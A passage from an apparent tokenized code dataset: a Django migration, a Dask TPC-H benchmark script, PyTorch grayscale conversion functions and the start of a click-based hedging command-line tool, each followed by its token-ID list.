2295,
5235,
13,
12,
2917,
353,
4469,
29939,
29885,
29889,
13239,
29889,
949,
29918,
2917,
580,
13,
13,
12,
29937,
4511,
304,
14563,
29877,
6555,
4833,
13,
12,
5150,
29918,
3888,
353,
4469,
29939,
29885,
29889,
13239,
29889,
657,
29918,
29911,
6530,
29918,
23055,
29918,
3888,
580,
13,
12,
29873,
2252,
29875,
353,
4469,
29939,
29885,
29889,
11958,
2801,
29889,
1349,
20772,
23369,
1705,
9112,
10448,
10456,
5150,
29918,
3888,
29897,
13,
12,
29873,
2252,
353,
29871,
679,
5552,
29898,
29873,
2252,
29875,
29889,
4645,
29892,
525,
721,
4346,
23369,
1705,
4051,
1495,
13,
13,
12,
29937,
679,
22583,
1591,
322,
1121,
1591,
13,
12,
29937,
322,
6084,
2551,
4982,
848,
2224,
13,
12,
5910,
261,
29918,
1727,
29918,
2371,
353,
679,
5552,
29898,
29873,
2252,
29892,
525,
29879,
1337,
630,
29918,
5393,
3221,
29918,
2371,
1495,
13,
12,
5910,
261,
29918,
690,
29918,
2371,
353,
679,
5552,
29898,
29873,
2252,
29892,
525,
29879,
1337,
630,
29918,
5393,
3221,
29918,
690,
29918,
2371,
1495,
13,
12,
8698,
29918,
1272,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
2917,
1839,
22930,
398,
6816,
5083,
293,
11947,
16215,
10526,
905,
29918,
1272,
29918,
2084,
7464,
13,
12,
12,
12,
12,
12,
12,
12,
12,
12,
29915,
8698,
1495,
13,
13,
12,
5910,
29918,
9057,
29879,
29898,
5910,
261,
29918,
1727,
29918,
2371,
29892,
5503,
261,
29918,
690,
29918,
2371,
29892,
2551,
29918,
1272,
29918,
2084,
29897,
13,
13,
3389,
580,
2
] |
djconnectwise/migrations/0114_auto_20200219_1515.py | kti-sam/django-connectwise | 10 | 75979 | <reponame>kti-sam/django-connectwise
# Generated by Django 2.1.14 on 2020-02-19 15:15
from django.db import migrations, models
import django.db.models.deletion
import django_extensions.db.fields
class Migration(migrations.Migration):
dependencies = [
('djconnectwise', '0113_auto_20200204_1054'),
]
operations = [
migrations.CreateModel(
name='ProjectType',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', django_extensions.db.fields.CreationDateTimeField(auto_now_add=True, verbose_name='created')),
('modified', django_extensions.db.fields.ModificationDateTimeField(auto_now=True, verbose_name='modified')),
('name', models.CharField(max_length=30)),
('default_flag', models.BooleanField(default=False)),
('inactive_flag', models.BooleanField(default=False)),
],
options={
'verbose_name_plural': 'Project types',
'ordering': ('name',),
},
),
migrations.AddField(
model_name='project',
name='type',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='djconnectwise.ProjectType'),
),
]
| [
1,
529,
276,
1112,
420,
29958,
1193,
29875,
29899,
13445,
29914,
14095,
29899,
6915,
3538,
13,
29937,
3251,
630,
491,
15337,
29871,
29906,
29889,
29896,
29889,
29896,
29946,
373,
29871,
29906,
29900,
29906,
29900,
29899,
29900,
29906,
29899,
29896,
29929,
29871,
29896,
29945,
29901,
29896,
29945,
13,
13,
3166,
9557,
29889,
2585,
1053,
9725,
800,
29892,
4733,
13,
5215,
9557,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
13,
5215,
9557,
29918,
24299,
29889,
2585,
29889,
9621,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
9962,
353,
518,
13,
4706,
6702,
19776,
6915,
3538,
742,
525,
29900,
29896,
29896,
29941,
29918,
6921,
29918,
29906,
29900,
29906,
29900,
29900,
29906,
29900,
29946,
29918,
29896,
29900,
29945,
29946,
5477,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
7653,
1542,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
12300,
3073,
29898,
6921,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1367,
1495,
511,
13,
18884,
6702,
11600,
742,
9557,
29918,
24299,
29889,
2585,
29889,
9621,
29889,
9832,
362,
11384,
3073,
29898,
6921,
29918,
3707,
29918,
1202,
29922,
5574,
29892,
26952,
29918,
978,
2433,
11600,
1495,
511,
13,
18884,
6702,
1545,
2164,
742,
9557,
29918,
24299,
29889,
2585,
29889,
9621,
29889,
2111,
2450,
11384,
3073,
29898,
6921,
29918,
3707,
29922,
5574,
29892,
26952,
29918,
978,
2433,
1545,
2164,
1495,
511,
13,
18884,
6702,
978,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29941,
29900,
8243,
13,
18884,
6702,
4381,
29918,
15581,
742,
4733,
29889,
18146,
3073,
29898,
4381,
29922,
8824,
8243,
13,
18884,
6702,
262,
4925,
29918,
15581,
742,
4733,
29889,
18146,
3073,
29898,
4381,
29922,
8824,
8243,
13,
9651,
21251,
13,
9651,
3987,
3790,
13,
18884,
525,
369,
15828,
29918,
978,
29918,
572,
3631,
2396,
525,
7653,
4072,
742,
13,
18884,
525,
2098,
292,
2396,
6702,
978,
742,
511,
13,
9651,
2981,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2528,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
4836,
742,
13,
9651,
1024,
2433,
1853,
742,
13,
9651,
1746,
29922,
9794,
29889,
27755,
2558,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
373,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
10490,
29918,
10074,
29892,
304,
2433,
19776,
6915,
3538,
29889,
7653,
1542,
5477,
13,
4706,
10353,
13,
1678,
4514,
13,
2
] |
benchmark/test_tpch.py | serverless-analytics/dask-distributed-vanilla | 0 | 11864 | import time
import sys
import dask
from dask.distributed import (
wait,
futures_of,
Client,
)
from tpch import loaddata, queries
#from benchmarks import utils
# Paths or URLs to the TPC-H tables.
#table_paths = {
# 'CUSTOMER': 'hdfs://bu-23-115:9000/tpch/customer.tbl',
# 'LINEITEM': 'hdfs://bu-23-115:9000/tpch/lineitem.tbl',
# 'NATION': 'hdfs://bu-23-115:9000/tpch/nation.tbl',
# 'ORDERS': 'hdfs://bu-23-115:9000/tpch/orders.tbl',
# 'PART': 'hdfs://bu-23-115:9000/tpch/part.tbl',
# 'PARTSUPP': 'hdfs://bu-23-115:9000/tpch/partsupp.tbl',
# 'REGION': 'hdfs://bu-23-115:9000/tpch/region.tbl',
# 'SUPPLIER': 'hdfs://bu-23-115:9000/tpch/supplier.tbl',
#}
table_paths = {
'CUSTOMER': '/root/2g/customer.tbl',
'LINEITEM': '/root/2g/lineitem.tbl',
'NATION': '/root/2g/nation.tbl',
'ORDERS': '/root/2g/orders.tbl',
'PART': '/root/2g/part.tbl',
'PARTSUPP': '/root/2g/partsupp.tbl',
'REGION': '/root/2g/region.tbl',
'SUPPLIER': '/root/2g/supplier.tbl',
}
#table_paths = {
# 'CUSTOMER': 'https://gochaudhstorage001.blob.core.windows.net/tpch/customer.tbl',
# 'LINEITEM': 'https://gochaudhstorage001.blob.core.windows.net/tpch/lineitem.tbl',
# 'NATION': 'https://gochaudhstorage001.blob.core.windows.net/tpch/nation.tbl',
# 'ORDERS': 'https://gochaudhstorage001.blob.core.windows.net/tpch/orders.tbl',
# 'PART': 'https://gochaudhstorage001.blob.core.windows.net/tpch/part.tbl',
# 'PARTSUPP': 'https://gochaudhstorage001.blob.core.windows.net/tpch/partsupp.tbl',
# 'REGION': 'https://gochaudhstorage001.blob.core.windows.net/tpch/region.tbl',
# 'SUPPLIER': 'https://gochaudhstorage001.blob.core.windows.net/tpch/supplier.tbl',
#}
def main():
if len(sys.argv) < 2:
print("args: <dask client>")
return 1
client = Client(sys.argv[1])
timing_supported = False
# set to False if running against upstream dask without our code changes.
benchmarker = TpchBenchmarkManager(client, timing_supported)
benchmarker.load_tables(
part_path = table_paths['PART'],
supplier_path = table_paths['SUPPLIER'],
partsupp_path = table_paths['PARTSUPP'],
customer_path = table_paths['CUSTOMER'],
orders_path = table_paths['ORDERS'],
lineitem_path = table_paths['LINEITEM'],
nation_path = table_paths['NATION'],
region_path = table_paths['REGION'],
)
# Choose what queries you want to run here.
benchmarker.run_query(1)
#benchmarker.run_query(3)
#benchmarker.run_query(6)
#benchmarker.run_query(21)
class TpchBenchmarkManager:
def __init__(self, client, timing_supported=True):
self.client = client
self.timing_supported = timing_supported
self.tables = {}
def load_tables(self,
*,
# Paths/URLs for TPCH tables source data.
part_path=None,
supplier_path=None,
partsupp_path=None,
customer_path=None,
orders_path=None,
lineitem_path=None,
nation_path=None,
region_path=None,
):
paths = {
'PART': part_path,
'SUPPLIER': supplier_path,
'PARTSUPP': partsupp_path,
'CUSTOMER': customer_path,
'ORDERS': orders_path,
'LINEITEM': lineitem_path,
'NATION': nation_path,
'REGION': region_path,
}
for tablename, path in paths.items():
if path is None:
print("\nNo path given for table {}. Skipping.".format(tablename))
continue
print("\n====================================")
print("Ingesting table {}... \n(from {})".format(tablename, path))
load_start = time.time()
table = loaddata.loader[tablename](path)
#table = self.client.persist(table)
#wait(table)
load_duration = time.time() - load_start
self.tables[tablename] = table
futures = futures_of(table)
print("...complete.")
print("\nE2E time: {:.3f} seconds. Number of partitions: {}".format(
load_duration, len(futures)))
print("====================================\n")
if self.timing_supported:
longest_future = None
longest_future_duration = None
for future in futures:
duration = self.client.timing_info(future)[0]['duration']
if longest_future is None or duration > longest_future_duration:
longest_future = future
longest_future_duration = duration
print("Profile of slowest partition:")
#utils.prettyprint_timing_info(self.client.timing_info(longest_future))
def run_query(self, query_num):
print("\n====================================")
print("Executing query {}...".format(query_num))
query_start = time.time()
futures = queries.by_number[query_num](self.tables)
future = self.client.compute(futures)
result = self.client.gather(future)
query_duration = time.time() - query_start
print("...complete.")
print("\nE2E time: {:.3f} seconds.".format(query_duration))
if self.timing_supported:
try:
utils.prettyprint_timing_info(self.client.timing_info(future))
except Exception as e:
print(str(e))
print(result)
return future
if __name__ == '__main__':
main()
| [
1,
1053,
931,
13,
5215,
10876,
13,
5215,
270,
1278,
13,
13,
3166,
270,
1278,
29889,
5721,
7541,
1053,
313,
13,
1678,
4480,
29892,
13,
1678,
3105,
1973,
29918,
974,
29892,
13,
1678,
12477,
29892,
13,
29897,
13,
13,
3166,
260,
29886,
305,
1053,
658,
1202,
532,
29892,
9365,
13,
29937,
3166,
23513,
29879,
1053,
3667,
29879,
13,
13,
29937,
10802,
29879,
470,
24295,
304,
278,
323,
9026,
29899,
29950,
6131,
29889,
13,
29937,
2371,
29918,
24772,
353,
426,
13,
29937,
4706,
525,
29907,
17321,
6488,
1001,
2396,
525,
29882,
29069,
597,
2423,
29899,
29906,
29941,
29899,
29896,
29896,
29945,
29901,
29929,
29900,
29900,
29900,
29914,
9392,
305,
29914,
15539,
29889,
16400,
742,
13,
29937,
1678,
525,
18521,
9094,
29924,
2396,
525,
29882,
29069,
597,
2423,
29899,
29906,
29941,
29899,
29896,
29896,
29945,
29901,
29929,
29900,
29900,
29900,
29914,
9392,
305,
29914,
1220,
667,
29889,
16400,
742,
13,
29937,
1678,
525,
29940,
8098,
2396,
525,
29882,
29069,
597,
2423,
29899,
29906,
29941,
29899,
29896,
29896,
29945,
29901,
29929,
29900,
29900,
29900,
29914,
9392,
305,
29914,
29876,
362,
29889,
16400,
742,
13,
29937,
1678,
525,
22364,
29903,
2396,
525,
29882,
29069,
597,
2423,
29899,
29906,
29941,
29899,
29896,
29896,
29945,
29901,
29929,
29900,
29900,
29900,
29914,
9392,
305,
29914,
20488,
29889,
16400,
742,
13,
29937,
1678,
525,
26092,
2396,
525,
29882,
29069,
597,
2423,
29899,
29906,
29941,
29899,
29896,
29896,
29945,
29901,
29929,
29900,
29900,
29900,
29914,
9392,
305,
29914,
1595,
29889,
16400,
742,
13,
29937,
1678,
525,
26092,
29903,
4897,
29925,
2396,
525,
29882,
29069,
597,
2423,
29899,
29906,
29941,
29899,
29896,
29896,
29945,
29901,
29929,
29900,
29900,
29900,
29914,
9392,
305,
29914,
1595,
19303,
29889,
16400,
742,
13,
29937,
1678,
525,
18166,
2725,
2396,
525,
29882,
29069,
597,
2423,
29899,
29906,
29941,
29899,
29896,
29896,
29945,
29901,
29929,
29900,
29900,
29900,
29914,
9392,
305,
29914,
12803,
29889,
16400,
742,
13,
29937,
1678,
525,
29903,
4897,
29925,
5265,
1001,
2396,
525,
29882,
29069,
597,
2423,
29899,
29906,
29941,
29899,
29896,
29896,
29945,
29901,
29929,
29900,
29900,
29900,
29914,
9392,
305,
29914,
19303,
4926,
29889,
16400,
742,
13,
29937,
29913,
13,
13,
2371,
29918,
24772,
353,
426,
13,
1678,
525,
29907,
17321,
6488,
1001,
2396,
8207,
4632,
29914,
29906,
29887,
29914,
15539,
29889,
16400,
742,
13,
1678,
525,
18521,
9094,
29924,
2396,
8207,
4632,
29914,
29906,
29887,
29914,
1220,
667,
29889,
16400,
742,
13,
1678,
525,
29940,
8098,
2396,
8207,
4632,
29914,
29906,
29887,
29914,
29876,
362,
29889,
16400,
742,
13,
1678,
525,
22364,
29903,
2396,
8207,
4632,
29914,
29906,
29887,
29914,
20488,
29889,
16400,
742,
13,
1678,
525,
26092,
2396,
8207,
4632,
29914,
29906,
29887,
29914,
1595,
29889,
16400,
742,
13,
1678,
525,
26092,
29903,
4897,
29925,
2396,
8207,
4632,
29914,
29906,
29887,
29914,
1595,
19303,
29889,
16400,
742,
13,
1678,
525,
18166,
2725,
2396,
8207,
4632,
29914,
29906,
29887,
29914,
12803,
29889,
16400,
742,
13,
1678,
525,
29903,
4897,
29925,
5265,
1001,
2396,
8207,
4632,
29914,
29906,
29887,
29914,
19303,
4926,
29889,
16400,
742,
13,
29913,
13,
13,
29937,
2371,
29918,
24772,
353,
426,
13,
29937,
1678,
525,
29907,
17321,
6488,
1001,
2396,
525,
991,
597,
1484,
5815,
566,
29882,
12925,
29900,
29900,
29896,
29889,
10054,
29889,
3221,
29889,
10499,
29889,
1212,
29914,
9392,
305,
29914,
15539,
29889,
16400,
742,
13,
29937,
1678,
525,
18521,
9094,
29924,
2396,
525,
991,
597,
1484,
5815,
566,
29882,
12925,
29900,
29900,
29896,
29889,
10054,
29889,
3221,
29889,
10499,
29889,
1212,
29914,
9392,
305,
29914,
1220,
667,
29889,
16400,
742,
13,
29937,
1678,
525,
29940,
8098,
2396,
525,
991,
597,
1484,
5815,
566,
29882,
12925,
29900,
29900,
29896,
29889,
10054,
29889,
3221,
29889,
10499,
29889,
1212,
29914,
9392,
305,
29914,
29876,
362,
29889,
16400,
742,
13,
29937,
1678,
525,
22364,
29903,
2396,
525,
991,
597,
1484,
5815,
566,
29882,
12925,
29900,
29900,
29896,
29889,
10054,
29889,
3221,
29889,
10499,
29889,
1212,
29914,
9392,
305,
29914,
20488,
29889,
16400,
742,
13,
29937,
1678,
525,
26092,
2396,
525,
991,
597,
1484,
5815,
566,
29882,
12925,
29900,
29900,
29896,
29889,
10054,
29889,
3221,
29889,
10499,
29889,
1212,
29914,
9392,
305,
29914,
1595,
29889,
16400,
742,
13,
29937,
1678,
525,
26092,
29903,
4897,
29925,
2396,
525,
991,
597,
1484,
5815,
566,
29882,
12925,
29900,
29900,
29896,
29889,
10054,
29889,
3221,
29889,
10499,
29889,
1212,
29914,
9392,
305,
29914,
1595,
19303,
29889,
16400,
742,
13,
29937,
1678,
525,
18166,
2725,
2396,
525,
991,
597,
1484,
5815,
566,
29882,
12925,
29900,
29900,
29896,
29889,
10054,
29889,
3221,
29889,
10499,
29889,
1212,
29914,
9392,
305,
29914,
12803,
29889,
16400,
742,
13,
29937,
1678,
525,
29903,
4897,
29925,
5265,
1001,
2396,
525,
991,
597,
1484,
5815,
566,
29882,
12925,
29900,
29900,
29896,
29889,
10054,
29889,
3221,
29889,
10499,
29889,
1212,
29914,
9392,
305,
29914,
19303,
4926,
29889,
16400,
742,
13,
29937,
29913,
13,
13,
1753,
1667,
7295,
13,
1678,
565,
7431,
29898,
9675,
29889,
19218,
29897,
529,
29871,
29906,
29901,
13,
4706,
1596,
703,
5085,
29901,
529,
29881,
1278,
3132,
29958,
1159,
13,
4706,
736,
29871,
29896,
13,
1678,
3132,
353,
12477,
29898,
9675,
29889,
19218,
29961,
29896,
2314,
13,
1678,
28750,
29918,
23765,
353,
7700,
13,
4706,
396,
731,
304,
7700,
565,
2734,
2750,
701,
5461,
270,
1278,
1728,
1749,
775,
3620,
29889,
13,
13,
1678,
23513,
261,
353,
323,
29886,
305,
20841,
16580,
3260,
29898,
4645,
29892,
28750,
29918,
23765,
29897,
13,
1678,
23513,
261,
29889,
1359,
29918,
24051,
29898,
13,
4706,
760,
29918,
2084,
353,
1591,
29918,
24772,
1839,
26092,
7464,
13,
4706,
1462,
4926,
29918,
2084,
353,
1591,
29918,
24772,
1839,
29903,
4897,
29925,
5265,
1001,
7464,
13,
4706,
760,
19303,
29918,
2084,
353,
1591,
29918,
24772,
1839,
26092,
29903,
4897,
29925,
7464,
13,
4706,
11962,
29918,
2084,
353,
1591,
29918,
24772,
1839,
29907,
17321,
6488,
1001,
7464,
13,
4706,
11299,
29918,
2084,
353,
1591,
29918,
24772,
1839,
22364,
29903,
7464,
13,
4706,
1196,
667,
29918,
2084,
353,
1591,
29918,
24772,
1839,
18521,
9094,
29924,
7464,
13,
4706,
5233,
29918,
2084,
353,
1591,
29918,
24772,
1839,
29940,
8098,
7464,
13,
4706,
5120,
29918,
2084,
353,
1591,
29918,
24772,
1839,
18166,
2725,
7464,
13,
1678,
1723,
13,
13,
1678,
396,
14542,
852,
825,
9365,
366,
864,
304,
1065,
1244,
29889,
13,
1678,
23513,
261,
29889,
3389,
29918,
1972,
29898,
29896,
29897,
13,
1678,
396,
1785,
16580,
261,
29889,
3389,
29918,
1972,
29898,
29941,
29897,
13,
1678,
396,
1785,
16580,
261,
29889,
3389,
29918,
1972,
29898,
29953,
29897,
13,
1678,
396,
1785,
16580,
261,
29889,
3389,
29918,
1972,
29898,
29906,
29896,
29897,
13,
13,
13,
1990,
323,
29886,
305,
20841,
16580,
3260,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3132,
29892,
28750,
29918,
23765,
29922,
5574,
1125,
13,
4706,
1583,
29889,
4645,
353,
3132,
13,
4706,
1583,
29889,
9346,
292,
29918,
23765,
353,
28750,
29918,
23765,
13,
4706,
1583,
29889,
24051,
353,
6571,
13,
13,
1678,
822,
2254,
29918,
24051,
29898,
1311,
29892,
13,
4706,
334,
29892,
13,
4706,
396,
10802,
29879,
29914,
4219,
29879,
363,
323,
29925,
3210,
6131,
2752,
848,
29889,
13,
4706,
760,
29918,
2084,
29922,
8516,
29892,
13,
4706,
1462,
4926,
29918,
2084,
29922,
8516,
29892,
13,
4706,
760,
19303,
29918,
2084,
29922,
8516,
29892,
13,
4706,
11962,
29918,
2084,
29922,
8516,
29892,
13,
4706,
11299,
29918,
2084,
29922,
8516,
29892,
13,
4706,
1196,
667,
29918,
2084,
29922,
8516,
29892,
13,
4706,
5233,
29918,
2084,
29922,
8516,
29892,
13,
4706,
5120,
29918,
2084,
29922,
8516,
29892,
13,
268,
1125,
13,
4706,
10898,
353,
426,
13,
9651,
525,
26092,
2396,
760,
29918,
2084,
29892,
13,
9651,
525,
29903,
4897,
29925,
5265,
1001,
2396,
1462,
4926,
29918,
2084,
29892,
13,
9651,
525,
26092,
29903,
4897,
29925,
2396,
760,
19303,
29918,
2084,
29892,
13,
9651,
525,
29907,
17321,
6488,
1001,
2396,
11962,
29918,
2084,
29892,
13,
9651,
525,
22364,
29903,
2396,
11299,
29918,
2084,
29892,
13,
9651,
525,
18521,
9094,
29924,
2396,
1196,
667,
29918,
2084,
29892,
13,
9651,
525,
29940,
8098,
2396,
5233,
29918,
2084,
29892,
13,
9651,
525,
18166,
2725,
2396,
5120,
29918,
2084,
29892,
13,
4706,
500,
13,
13,
4706,
363,
4434,
2435,
420,
29892,
2224,
297,
10898,
29889,
7076,
7295,
13,
13,
9651,
565,
2224,
338,
6213,
29901,
13,
18884,
1596,
14182,
29876,
3782,
2224,
2183,
363,
1591,
426,
1836,
28551,
3262,
1213,
29889,
4830,
29898,
3891,
2435,
420,
876,
13,
18884,
6773,
13,
13,
9651,
1596,
14182,
29876,
9166,
9166,
25512,
543,
29897,
13,
9651,
1596,
703,
797,
7118,
292,
1591,
6571,
856,
320,
29876,
29898,
3166,
426,
1800,
1642,
4830,
29898,
3891,
2435,
420,
29892,
2224,
876,
13,
9651,
2254,
29918,
2962,
353,
931,
29889,
2230,
580,
13,
9651,
1591,
353,
658,
1202,
532,
29889,
12657,
29961,
3891,
2435,
420,
850,
2084,
29897,
13,
9651,
396,
2371,
353,
1583,
29889,
4645,
29889,
6774,
391,
29898,
2371,
29897,
13,
9651,
396,
10685,
29898,
2371,
29897,
13,
9651,
2254,
29918,
19708,
353,
931,
29889,
2230,
580,
448,
2254,
29918,
2962,
13,
9651,
1583,
29889,
24051,
29961,
3891,
2435,
420,
29962,
353,
1591,
13,
9651,
3105,
1973,
353,
3105,
1973,
29918,
974,
29898,
2371,
29897,
13,
9651,
1596,
703,
856,
8835,
23157,
13,
9651,
1596,
14182,
29876,
29923,
29906,
29923,
931,
29901,
12365,
29889,
29941,
29888,
29913,
6923,
29889,
9681,
310,
23629,
29901,
6571,
1642,
4830,
29898,
13,
18884,
2254,
29918,
19708,
29892,
7431,
29898,
29888,
329,
1973,
4961,
13,
9651,
1596,
703,
9166,
9166,
2751,
29905,
29876,
1159,
13,
13,
13,
9651,
565,
1583,
29889,
9346,
292,
29918,
23765,
29901,
13,
18884,
27217,
29918,
29888,
9130,
353,
6213,
13,
18884,
27217,
29918,
29888,
9130,
29918,
19708,
353,
6213,
13,
18884,
363,
5434,
297,
3105,
1973,
29901,
13,
462,
1678,
14385,
353,
1583,
29889,
4645,
29889,
9346,
292,
29918,
3888,
29898,
29888,
9130,
9601,
29900,
22322,
19708,
2033,
13,
462,
1678,
565,
27217,
29918,
29888,
9130,
338,
6213,
470,
14385,
1405,
27217,
29918,
29888,
9130,
29918,
19708,
29901,
13,
462,
4706,
27217,
29918,
29888,
9130,
353,
5434,
13,
462,
4706,
27217,
29918,
29888,
9130,
29918,
19708,
353,
14385,
13,
18884,
1596,
703,
13909,
310,
5232,
342,
8877,
29901,
1159,
13,
18884,
396,
13239,
29889,
1457,
4349,
2158,
29918,
9346,
292,
29918,
3888,
29898,
1311,
29889,
4645,
29889,
9346,
292,
29918,
3888,
29898,
5426,
342,
29918,
29888,
9130,
876,
13,
13,
1678,
822,
1065,
29918,
1972,
29898,
1311,
29892,
2346,
29918,
1949,
1125,
13,
4706,
1596,
14182,
29876,
9166,
9166,
25512,
543,
29897,
13,
4706,
1596,
703,
5379,
17068,
2346,
6571,
856,
1642,
4830,
29898,
1972,
29918,
1949,
876,
13,
4706,
2346,
29918,
2962,
353,
931,
29889,
2230,
580,
13,
4706,
3105,
1973,
353,
9365,
29889,
1609,
29918,
4537,
29961,
1972,
29918,
1949,
850,
1311,
29889,
24051,
29897,
13,
4706,
5434,
353,
1583,
29889,
4645,
29889,
26017,
29898,
29888,
329,
1973,
29897,
13,
4706,
1121,
353,
1583,
29889,
4645,
29889,
29887,
1624,
29898,
29888,
9130,
29897,
13,
4706,
2346,
29918,
19708,
353,
931,
29889,
2230,
580,
448,
2346,
29918,
2962,
13,
13,
4706,
1596,
703,
856,
8835,
23157,
13,
4706,
1596,
14182,
29876,
29923,
29906,
29923,
931,
29901,
12365,
29889,
29941,
29888,
29913,
6923,
1213,
29889,
4830,
29898,
1972,
29918,
19708,
876,
13,
4706,
565,
1583,
29889,
9346,
292,
29918,
23765,
29901,
13,
9651,
1018,
29901,
13,
18884,
3667,
29879,
29889,
1457,
4349,
2158,
29918,
9346,
292,
29918,
3888,
29898,
1311,
29889,
4645,
29889,
9346,
292,
29918,
3888,
29898,
29888,
9130,
876,
13,
9651,
5174,
8960,
408,
321,
29901,
13,
18884,
1596,
29898,
710,
29898,
29872,
876,
13,
4706,
1596,
29898,
2914,
29897,
13,
4706,
736,
5434,
13,
13,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1667,
580,
13,
2
] |
cirtorch/enhance/color/gray.py | Tarekbouamer/Image-Retrieval-for-Image-Based-Localization | 3 | 185087 | import torch
import torch.nn as nn
from .rgb import bgr_to_rgb
def rgb_to_grayscale(image: torch.Tensor) -> torch.Tensor:
"""
Convert a RGB image to grayscale version of image.
The image data is assumed to be in the range of (0, 1).
"""
if not isinstance(image, torch.Tensor):
raise TypeError("Input type is not a torch.Tensor. Got {}".format(
type(image)))
if len(image.shape) < 3 or image.shape[-3] != 3:
raise ValueError("Input size must have a shape of (*, 3, H, W). Got {}"
.format(image.shape))
r = image[..., 0:1, :, :]
g = image[..., 1:2, :, :]
b = image[..., 2:3, :, :]
gray = 0.299 * r + 0.587 * g + 0.114 * b
return gray
def bgr_to_grayscale(image: torch.Tensor) -> torch.Tensor:
"""
Convert a BGR image to grayscale.
The image data is assumed to be in the range of (0, 1). First flips to RGB, then converts.
"""
if not isinstance(image, torch.Tensor):
raise TypeError("Input type is not a torch.Tensor. Got {}".format(
type(image)))
if len(image.shape) < 3 or image.shape[-3] != 3:
raise ValueError("Input size must have a shape of (*, 3, H, W). Got {}"
.format(image.shape))
image_rgb = bgr_to_rgb(image)
gray = rgb_to_grayscale(image_rgb)
return gray | [
1,
1053,
4842,
305,
13,
5215,
4842,
305,
29889,
15755,
408,
302,
29876,
13,
13,
3166,
869,
23973,
1053,
289,
629,
29918,
517,
29918,
23973,
13,
13,
13,
1753,
15552,
29890,
29918,
517,
29918,
21012,
7052,
29898,
3027,
29901,
4842,
305,
29889,
29911,
6073,
29897,
1599,
4842,
305,
29889,
29911,
6073,
29901,
13,
1678,
9995,
13,
4706,
14806,
263,
390,
7210,
1967,
304,
16749,
7052,
1873,
310,
1967,
29889,
13,
4706,
450,
1967,
848,
338,
12023,
304,
367,
297,
278,
3464,
310,
313,
29900,
29892,
29871,
29896,
467,
13,
1678,
9995,
13,
1678,
565,
451,
338,
8758,
29898,
3027,
29892,
4842,
305,
29889,
29911,
6073,
1125,
13,
4706,
12020,
20948,
703,
4290,
1134,
338,
451,
263,
4842,
305,
29889,
29911,
6073,
29889,
15992,
6571,
1642,
4830,
29898,
13,
9651,
1134,
29898,
3027,
4961,
13,
13,
1678,
565,
7431,
29898,
3027,
29889,
12181,
29897,
529,
29871,
29941,
470,
1967,
29889,
12181,
14352,
29941,
29962,
2804,
29871,
29941,
29901,
13,
4706,
12020,
7865,
2392,
703,
4290,
2159,
1818,
505,
263,
8267,
310,
3070,
29892,
29871,
29941,
29892,
379,
29892,
399,
467,
15992,
426,
5038,
13,
462,
308,
869,
4830,
29898,
3027,
29889,
12181,
876,
13,
13,
1678,
364,
353,
1967,
29961,
16361,
29871,
29900,
29901,
29896,
29892,
584,
29892,
584,
29962,
13,
1678,
330,
353,
1967,
29961,
16361,
29871,
29896,
29901,
29906,
29892,
584,
29892,
584,
29962,
13,
1678,
289,
353,
1967,
29961,
16361,
29871,
29906,
29901,
29941,
29892,
584,
29892,
584,
29962,
13,
13,
1678,
16749,
353,
29871,
29900,
29889,
29906,
29929,
29929,
334,
364,
718,
29871,
29900,
29889,
29945,
29947,
29955,
334,
330,
718,
29871,
29900,
29889,
29896,
29896,
29946,
334,
289,
13,
1678,
736,
16749,
13,
13,
13,
1753,
289,
629,
29918,
517,
29918,
21012,
7052,
29898,
3027,
29901,
4842,
305,
29889,
29911,
6073,
29897,
1599,
4842,
305,
29889,
29911,
6073,
29901,
13,
1678,
9995,
13,
4706,
14806,
263,
350,
14345,
1967,
304,
16749,
7052,
29889,
13,
4706,
450,
1967,
848,
338,
12023,
304,
367,
297,
278,
3464,
310,
313,
29900,
29892,
29871,
29896,
467,
3824,
285,
492,
567,
304,
390,
7210,
29892,
769,
29436,
29889,
13,
1678,
9995,
13,
1678,
565,
451,
338,
8758,
29898,
3027,
29892,
4842,
305,
29889,
29911,
6073,
1125,
13,
4706,
12020,
20948,
703,
4290,
1134,
338,
451,
263,
4842,
305,
29889,
29911,
6073,
29889,
15992,
6571,
1642,
4830,
29898,
13,
9651,
1134,
29898,
3027,
4961,
13,
13,
1678,
565,
7431,
29898,
3027,
29889,
12181,
29897,
529,
29871,
29941,
470,
1967,
29889,
12181,
14352,
29941,
29962,
2804,
29871,
29941,
29901,
13,
4706,
12020,
7865,
2392,
703,
4290,
2159,
1818,
505,
263,
8267,
310,
3070,
29892,
29871,
29941,
29892,
379,
29892,
399,
467,
15992,
426,
5038,
13,
462,
308,
869,
4830,
29898,
3027,
29889,
12181,
876,
13,
13,
1678,
1967,
29918,
23973,
353,
289,
629,
29918,
517,
29918,
23973,
29898,
3027,
29897,
13,
1678,
16749,
353,
15552,
29890,
29918,
517,
29918,
21012,
7052,
29898,
3027,
29918,
23973,
29897,
13,
1678,
736,
16749,
2
] |
main.py | timonent/hedging | 0 | 175079 | <filename>main.py
import concurrent.futures
import itertools as it
import threading
import click
from hedger import Hedger
from options_data import OptionsData
#-------------------------------------------------------------------------
@click.command(no_args_is_help=True)
@click.option("--portfolio-size", "-p", multiple=True, type=click.IntRange(min=1, max=5),
help="Size of the portfolio to be hedged.")
@click.option("--schedule", "-s", multiple=True, type=click.IntRange(min=1, max=10),
help="Hedging schedule to consider (in days).")
